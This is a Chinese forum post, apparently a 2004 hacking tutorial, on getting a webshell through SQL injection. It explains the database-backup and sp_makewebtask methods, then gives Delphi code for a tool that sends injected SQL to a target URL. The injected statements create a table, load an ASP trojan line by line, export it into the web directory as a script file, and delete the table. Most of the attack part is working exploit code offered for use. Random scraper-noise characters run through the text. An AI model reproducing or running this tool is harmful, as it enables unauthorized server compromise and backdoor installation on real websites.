QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 3056|回复: 0
打印 上一主题 下一主题

SQL注入得到WEBSHELL

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 00:13 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<>一.通过SQL注入得到WEBSHELL的原理:
- A  }' j# L! V" {' l1 h4 B) k- tN.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 % m1 J3 T; V( c! J9 W) o/ j1 ?2 ~
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 ( F; B; {8 e- O- I$ i
再来看看CZY的方法吧。
+ @# B2 x  d. kCZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 2 s0 B* Q0 S- ^* M! _( H
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 6 F: X8 v) B" D/ H( ~: {$ Y+ x
二.利用DELPHI去实现功能的前言 1 o, F+ r/ x" I5 `8 ^6 Q% C
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
3 G+ ~, l: Q3 X
1 h0 I3 K+ N5 L- v三.如何利用DELPHI得到WEBSHELL。 5 Y: y7 U% k+ h, J) \  T
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。. ]# ~2 N: H- x, _
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图: 5 Q+ C* V) X7 r, ~% x4 l. n/ }

( ^: @7 P( I9 v0 k  h- J' C. f; h4 t- s2 Q. ?
% [' `& `/ n; R
现在来写程序了。
  |, h* G" S2 _4 J* _" n, W' _! G我们首先定义一个RECORD。 3 r2 @6 s$ U3 R6 U" ?5 I
如下:( m' ~) L$ I+ h& c1 h: M. V" M
Type
' @) x8 L7 n) q+ ySetOption = Record
, P9 R* u; `0 t! `TableName : String; //用来保存要创建的表名.
( x4 ^0 \4 Y" S6 N8 d; bFieldName : String; //用来保存要创建的字段名.
1 h, d$ B# B( y, ^FiledType : String; //用来保存创建的字段名类型.
% d/ _6 i# }& k, S/ K6 Y4 U% A) C/ hEnd;
% T) ^# f3 ]% C3 bFiledType字段类型的值是以下类型的一种:
5 w! O" \# Q0 B: G3 D3 c+ ?Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
+ Z5 ]) Z5 {1 vSmallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
/ h+ O) l5 x# `4 q再定义一个全局变量:
) B4 @% p% ~: T$ \  DVar
1 x- F9 h7 x- `9 h/ \! A4 m# A9 SISStop : Boolean; //用来判断用户是否按下了停止按纽.
9 d2 u3 F  n2 e' j; `好了。在表单创建的过程中,我们为RECORD记录输入默认值. 2 i  f& M" D- C; X
代码如下: 3 }+ p" |) Z5 F
procedure TMainForm.FormCreate(Sender: TObject);
8 O- k  f: B# ^begin
% t) ^; p. `0 g; U  k7 m: z  ^2 esOption.TableName :='cyfd' - R7 v7 G1 G+ p0 R2 \' v" y
sOption.FieldName :='gmemo' 7 u9 Q( T2 M8 o4 g/ X
sOption.FiledType :='text'
6 _9 ^% ~+ A; f# K6 bend;
* b$ `3 A/ L0 }; M7 h$ m! }现在我们添加开始执行命令的代码。
5 k  i+ h$ z, `# J& i2 G$ J先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
2 {$ y* u+ Y. S6 }/ r创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
9 K7 O; b4 i& I4 Z0 y$ {在程序开始执行前,我们得先检查一下用户的输入 " k2 |% Q" y5 i7 q/ D- @9 b0 G5 J
定义一个Checkinput函数.
- x: U9 |# P3 I% ^如下:
3 f( }- Y2 ?( C  R6 q* K) ]Function CheckInput : Boolean; ; J( o( N0 {3 U$ u- `
Begin 0 i7 {& Y2 v- p: h3 Y
Result := False;   }; E3 U: C/ C. G4 ~+ M" g1 O: f
if Trim(urlet.Text) = '' then
) L( L0 l3 J6 l: ], X8 rBegin
8 H& F7 h5 r; n. @6 QApplication.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
& }2 A7 D) d3 C3 N! gExit;
# d) m9 N/ K& _, F  ?, wEnd; . K1 a+ \; t, C7 @! n; [3 Q
if Trim(ShellPathET.Text) = '' then
' t( e: l" b  UBegin
. H6 q) ?* m& @# W7 H# TApplication.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation); " w6 o0 G" C+ _1 c# z
Exit; . I2 y. M. T! i  j. q0 y0 [
End;
, Z6 F7 I, F; i8 XIF DefBDoor.Checked then
/ U" e1 H* B# w3 q& {Begin 6 u2 [* B: h) D4 [* w/ V
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
8 N$ r) }- k# n1 q4 A: I  K4 JBegin
$ X; q6 z: C, i  M6 k" CApplication.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation); , f1 O. X' C3 W8 u" I: Q" Z% Y$ s
Exit;
8 |7 ]8 o: c8 REnd; $ d7 h0 ], h4 ^0 h( L9 a
End
6 B' F, [7 w) D2 h8 T, {Else
8 C; I8 p: I2 e$ o  zif Not FileExists(CustomBdoorET.Text) then $ I+ d/ B6 U* p- e3 b
Begin ) }& s) Z+ ^7 }+ q, \; P. s4 E
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
6 |& ^# P/ v+ U; A( kExit; 5 M6 d9 r6 S1 v, q
End; : ~5 D$ [7 l1 I7 p5 T2 t
Result := True; ( b( P! \2 U/ v, y+ t' w
End; * m" p2 v; F1 Y8 S: Y
在最开始加入:
2 V" j5 t4 h! v0 eIF Not CheckInput then Exit; //如果输入不合法就退出过程.
0 i9 S0 p* w; J) y# L2 w1 a; Z/ g* J好了,如果用户输入没什么错,我们就来下面的代码。
1 \/ l3 }5 l9 ]首先我们把IsStop设为假。创建BdoorList。 + S* m( n2 V9 h9 p* u3 L2 p
BDoorList := TstringList.Create;
- _  B5 r) u$ `2 D. V! X再加木马内容到BDoorlist.
/ V) Y1 j4 d0 t4 K$ hBDoorList.LoadFromFile(CustomBdoorET.text); * W( s! g0 V6 p1 H+ w
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。 - w9 H2 W; p$ u8 a' T8 ?  }$ z1 e
代码如下:
+ @" _* T( {+ @/ z! K, zBDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); 9 N5 l7 Z! l2 ~4 F- D4 y$ D
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); ! ]2 r2 g1 x% @
接下来.我们就提交建表的功能了.
6 ^0 u; B" {% a0 p2 sMemo.Lines.Add('建表...'); 7 g8 e2 p# _* Q+ M3 s
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
. H5 ~$ M7 E* h9 x# E: |0 A  H0 ^. E这样我们就创建了一个表。然后.我们向表中加记录:
/ c) u% ^9 f9 R4 U6 X6 g8 |$ A0 c代码如下:   ^8 e% @* t+ c0 |" V( J6 T
Memo.Lines.Add('加数据...');
2 G4 ^8 }* V1 V5 z& R, C% a1 ?1 _Memo.Lines.Add('');
$ U+ v( t3 m1 ?0 \' JFor i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
7 Y8 S$ G9 n* g$ T8 f7 a* U7 zBegin
' }  f1 i* z" s' x2 j! s$ pIF IsStop then //这里如果点了停止按纽程序将终止任务.
/ C: q3 _& ]6 d3 nBegin , h7 X3 v2 Z3 P6 i4 V
BDoorList.Free; 7 t: ?/ T9 x' C+ i0 {, G
Exit;
, m' f& F; f5 f% _2 M3 e, Y; m; wEnd; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); & t4 K' S. u2 s, w
Memo.Lines.Add('Add Line '+Inttostr(i+1)); 6 R. a: w& ^. x9 g. U" R5 _9 u! D* H9 `2 f
End;
! N4 Y( j" g  Q0 w. k! }现在就是导出数据生成木马了.
; I, j) @; Q) Z# e& p, E& JMemo.Lines.Add('导出数据...');
  b" t) J6 q; ]& p" Q. n; _Memo.Lines.Add('');
" @( n3 |' ]# o, N  UIF BKData.Checked then //如果选中采用备份数据就执行下面的命令. - v0 \& b; {; a& X* F
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''') 4 t; k1 j/ {# w" z+ @0 w. W* c
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
' Y# g) A7 J$ ^# q/ @. X9 o. X8 X我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];'); # g1 H' ^. z( B+ {; w
这样我们的任务就完成了。下面来释放变量.
/ O) X" `; o+ s% }0 E- GBDoorList.Free;
. U; T: R6 J% P. t6 e* Q再来向停止按纽中添加点击事件:
0 I% d& J1 m! a一行代码就行了:IsStop := True;
% M% A) P& U" y+ c0 E- u" q4 O6 \到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。 9 _- @. c. f3 D0 c! |( K# ?
设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
$ U. p: U; S9 p第一个名称为:TableNameET //保用户输入的存临时表 5 g) W" h% H* d% E/ A$ V0 C  C
第二个名称为:FieldNameET //用来保存用户输入的字段名. + z% e! E$ {! H2 ~2 u8 K5 H
再添加一个Combobox //用来保存用户所选的字段类型值.
% ~# Z& k! u9 Q  m7 L3 q; v名称:FieldTypeCombox
3 V8 M2 k. g) j. p& \2 c- K4 L! kOK.界面如下:
' ^) }, A0 W. p# D7 B* c' d
0 }5 Y" x- H8 w3 E3 {" Y代码如下:
1 @+ p3 e/ k& H' P. \2 j定义一个过程,主表单好调用这个设置。 3 \& T. i0 N8 m
Procedure ShowSet;
$ W8 u+ U0 ]$ ~/ PBegin
  H) b+ [6 j) ~1 Y# iApplication.CreateForm(TSetForm,SetForm);
9 }$ n; g3 K7 n/ sWith SetForm do 1 V' J/ T( @6 k
Begin
, k3 y4 @+ ]% i7 l1 v& nTableNameET.Text := sOption.TableName;
$ @% |4 z" ^" o. S; n) M5 {: CFieldNameET.Text := sOption.FieldName;
9 r2 Q+ j1 c! }3 z# J0 ~FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); / V1 m' R" I8 x) ?7 G
End; 5 S. i* n5 W( w% Q2 [1 a* a; j
SetForm.ShowModal;
. ?0 |* c- x# d  y: I7 D% T5 fSetForm.Free;
& _" _; g) u. ?* xEnd; 1 e$ K* W* b/ |2 Q( Q
在主表单中设置的点击事件中添加上showset过程就行了。 & }! N9 N9 o# X& G5 S( Y
下面就是点击确定的代码了。
9 l3 {: E: U. Y1 g; _* ]IF CheckInput then * Y! c% W! B+ u$ J- i& m
Begin
0 _& X4 ^: Q; K/ w7 u0 z' W  V- KsOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
. b: E7 w6 o4 R, {5 C9 Q' BsOption.FieldName := Trim(FieldNameET.Text); # r  N+ d( B6 B
sOption.FiledType := FieldTypeCombox.Text; * e. g; d& d1 _  B4 W. C9 H3 \/ p
Close; 1 q: ~, T3 \' Q) `) N  N
End;
& F8 l% P" t3 a( M' D: G这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 3 u7 d" x+ k# y8 i' x3 ?5 A
代码如下: ! {. t* w  N5 B
Function CheckInput : Boolean;
- b+ J1 n* G* \# N- ?3 z/ TBegin 8 r2 q: `4 c0 Z& G  D. a  k6 Q2 e
Result := False;
, e5 @3 k  u; b6 c* a$ ~/ tIF Trim(TableNameET.Text)='' then
& B! {7 n" Q6 J+ c. EBegin
5 E7 ~+ b- n1 F3 W7 G  f, mApplication.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); ; y8 @; j- p' f# d' E
Exit;
; Q1 f# t& s8 K+ G( X! KEnd; ! I% F/ d% k, O
IF Trim(FieldNameET.Text)='' then 1 t5 c& ^3 G- x
Begin
( |6 y6 B8 P$ QApplication.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); ( j" u$ R# x) t
Exit; 4 c: @7 o. l. U7 g2 _% i$ c
End; 4 A: h( Z5 ?% s( t' [
Result := True; 2 C4 I( t8 c( c% F' J( H
End; % O: x" ^4 M0 Z' W( d/ L2 t
到这里程序就完了。</P>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-10 14:31 , Processed in 1.085100 second(s), 52 queries .

回顶部